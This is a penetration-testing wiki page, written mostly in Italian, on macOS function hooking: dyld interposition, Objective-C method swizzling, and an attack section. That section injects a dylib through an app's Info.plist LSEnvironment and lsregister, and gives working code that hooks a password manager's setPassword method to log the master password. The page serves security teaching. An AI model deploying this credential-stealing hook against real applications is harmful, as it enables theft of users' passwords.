# macOS Function Hooking {{#include ../../../banners/hacktricks-training.md}} ## Interposizione delle Funzioni Crea un **dylib** con una sezione **`__interpose`** (o una sezione contrassegnata con **`S_INTERPOSING`**) contenente tuple di **puntatori a funzioni** che si riferiscono alle funzioni **originali** e **sostitutive**. Poi, **inietta** il dylib con **`DYLD_INSERT_LIBRARIES`** (l'interposizione deve avvenire prima che l'app principale venga caricata). Ovviamente, le [**restrizioni** applicate all'uso di **`DYLD_INSERT_LIBRARIES`** si applicano anche qui](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions). ### Interponi printf {{#tabs}} {{#tab name="interpose.c"}} ```c:interpose.c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include int my_printf(const char *format, ...) { //va_list args; //va_start(args, format); //int ret = vprintf(format, args); //va_end(args); int ret = printf("Hello from interpose\n"); return ret; } __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; ``` {{#endtab}} {{#tab name="hello.c"}} ```c //gcc hello.c -o hello #include int main() { printf("Hello World!\n"); return 0; } ``` {{#endtab}} {{#tab name="interpose2.c"}} ```c // Just another way to define an interpose // gcc -dynamiclib interpose2.c -o interpose2.dylib #include #define DYLD_INTERPOSE(_replacement, _replacee) \ __attribute__((used)) static struct { \ const void* replacement; \ const void* replacee; \ } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ (const void*) (unsigned long) &_replacement, \ (const void*) (unsigned long) &_replacee \ }; int my_printf(const char *format, ...) { int ret = printf("Hello from interpose\n"); return ret; } DYLD_INTERPOSE(my_printf,printf); ``` {{#endtab}} {{#endtabs}} ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello Hello from interpose DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello Hello from interpose ``` ## Method Swizzling In ObjectiveC questo è come viene chiamato un metodo: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** È necessario l'**oggetto**, il **metodo** e i **parametri**. E quando un metodo viene chiamato, un **msg viene inviato** utilizzando la funzione **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` L'oggetto è **`someObject`**, il metodo è **`@selector(method1p1:p2:)`** e gli argomenti sono **value1**, **value2**. Seguendo le strutture degli oggetti, è possibile raggiungere un'**array di metodi** dove i **nomi** e i **puntatori** al codice del metodo sono **localizzati**. > [!CAUTION] > Nota che poiché i metodi e le classi vengono accessi in base ai loro nomi, queste informazioni sono memorizzate nel binario, quindi è possibile recuperarle con `otool -ov ` o [`class-dump `](https://github.com/nygard/class-dump) ### Accessing the raw methods È possibile accedere alle informazioni dei metodi come nome, numero di parametri o indirizzo come nel seguente esempio: ```objectivec // gcc -framework Foundation test.m -o test #import #import #import int main() { // Get class of the variable NSString* str = @"This is an example"; Class strClass = [str class]; NSLog(@"str's Class name: %s", class_getName(strClass)); // Get parent class of a class Class strSuper = class_getSuperclass(strClass); NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); // Get information about a method SEL sel = @selector(length); NSLog(@"Selector name: %@", NSStringFromSelector(sel)); Method m = class_getInstanceMethod(strClass,sel); NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); // Iterate through the class hierarchy NSLog(@"Listing methods:"); Class currentClass = strClass; while (currentClass != NULL) { unsigned int inheritedMethodCount = 0; Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); for (unsigned int i = 0; i < inheritedMethodCount; i++) { Method method = inheritedMethods[i]; SEL selector = method_getName(method); const char* methodName = sel_getName(selector); unsigned long address = (unsigned long)method_getImplementation(m); NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); } // Free the memory allocated by class_copyMethodList free(inheritedMethods); currentClass = class_getSuperclass(currentClass); } // Other ways to call uppercaseString method if([str respondsToSelector:@selector(uppercaseString)]) { NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; NSLog(@"Uppercase string: %@", uppercaseString); } // Using objc_msgSend directly NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); NSLog(@"Uppercase string: %@", uppercaseString2); // Calling the address directly IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method NSLog(@"Uppercase string: %@", uppercaseString3); return 0; } ``` ### Method Swizzling con method_exchangeImplementations La funzione **`method_exchangeImplementations`** consente di **cambiare** l'**indirizzo** dell'**implementazione** di **una funzione con l'altra**. > [!CAUTION] > Quindi, quando una funzione viene chiamata, ciò che viene **eseguito è l'altra**. ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str #import #import // Create a new category for NSString with the method to execute @interface NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; @end @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { NSLog(@"Custom implementation of substringFromIndex:"); // Call the original method return [self swizzledSubstringFromIndex:from]; } @end int main(int argc, const char * argv[]) { // Perform method swizzling Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); method_exchangeImplementations(originalMethod, swizzledMethod); // We changed the address of one method for the other // Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex // And when swizzledSubstringFromIndex is called, substringFromIndex is really colled // Example usage NSString *myString = @"Hello, World!"; NSString *subString = [myString substringFromIndex:7]; NSLog(@"Substring: %@", subString); return 0; } ``` > [!WARNING] > In questo caso, se il **codice di implementazione del metodo legittimo** **verifica** il **nome del metodo**, potrebbe **rilevare** questo swizzling e impedirne l'esecuzione. > > La seguente tecnica non ha questa restrizione. ### Method Swizzling con method_setImplementation Il formato precedente è strano perché stai cambiando l'implementazione di 2 metodi l'uno dall'altro. Utilizzando la funzione **`method_setImplementation`**, puoi **cambiare** l'**implementazione** di un **metodo per l'altro**. Ricorda solo di **memorizzare l'indirizzo dell'implementazione di quello originale** se intendi chiamarlo dalla nuova implementazione prima di sovrascriverlo, perché in seguito sarà molto più complicato localizzare quell'indirizzo. ```objectivec #import #import #import static IMP original_substringFromIndex = NULL; @interface NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; @end @implementation NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { NSLog(@"Custom implementation of substringFromIndex:"); // Call the original implementation using objc_msgSendSuper return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); } @end int main(int argc, const char * argv[]) { @autoreleasepool { // Get the class of the target method Class stringClass = [NSString class]; // Get the swizzled and original methods Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); // Get the function pointer to the swizzled method's implementation IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); // Swap the implementations // It return the now overwritten implementation of the original method to store it original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); // Example usage NSString *myString = @"Hello, World!"; NSString *subString = [myString substringFromIndex:7]; NSLog(@"Substring: %@", subString); // Set the original implementation back method_setImplementation(originalMethod, original_substringFromIndex); return 0; } } ``` ## Hooking Attack Methodology In questa pagina sono stati discussi diversi modi per agganciare funzioni. Tuttavia, comportavano **l'esecuzione di codice all'interno del processo per attaccare**. Per fare ciò, la tecnica più semplice da utilizzare è iniettare un [Dyld tramite variabili di ambiente o hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Tuttavia, suppongo che questo possa essere fatto anche tramite [Dylib process injection](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port). Tuttavia, entrambe le opzioni sono **limitate** a binari/processi **non protetti**. Controlla ciascuna tecnica per saperne di più sulle limitazioni. Tuttavia, un attacco di hooking di funzione è molto specifico, un attaccante lo farà per **rubare informazioni sensibili dall'interno di un processo** (se no faresti semplicemente un attacco di iniezione di processo). E queste informazioni sensibili potrebbero trovarsi in app scaricate dall'utente come MacPass. Quindi il vettore dell'attaccante sarebbe quello di trovare una vulnerabilità o rimuovere la firma dell'applicazione, iniettare la variabile di ambiente **`DYLD_INSERT_LIBRARIES`** attraverso l'Info.plist dell'applicazione aggiungendo qualcosa come: ```xml LSEnvironment DYLD_INSERT_LIBRARIES /Applications/Application.app/Contents/malicious.dylib ``` e poi **ri-registrare** l'applicazione: ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` Aggiungi in quella libreria il codice di hooking per esfiltrare le informazioni: Passwords, messages... > [!CAUTION] > Nota che nelle versioni più recenti di macOS se **rimuovi la firma** del binario dell'applicazione e questa è stata eseguita in precedenza, macOS **non eseguirà più l'applicazione**. #### Esempio di libreria ```objectivec // gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib // If you added env vars in the Info.plist don't forget to call lsregister as explained before // Listen to the logs with something like: // log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"' #include #import // Here will be stored the real method (setPassword in this case) address static IMP real_setPassword = NULL; static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) { // Function that will log the password and call the original setPassword(pass, file_path) method NSLog(@"[+] Password is: %@", password); // After logging the password call the original method so nothing breaks. return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); } // Library constructor to execute __attribute__((constructor)) static void customConstructor(int argc, const char **argv) { // Get the real method address to not lose it Class classMPDocument = NSClassFromString(@"MPDocument"); Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); // Make the original method setPassword call the fake implementation one IMP fake_IMP = (IMP)custom_setPassword; real_setPassword = method_setImplementation(real_Method, fake_IMP); } ``` ## Riferimenti - [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) {{#include ../../../banners/hacktricks-training.md}}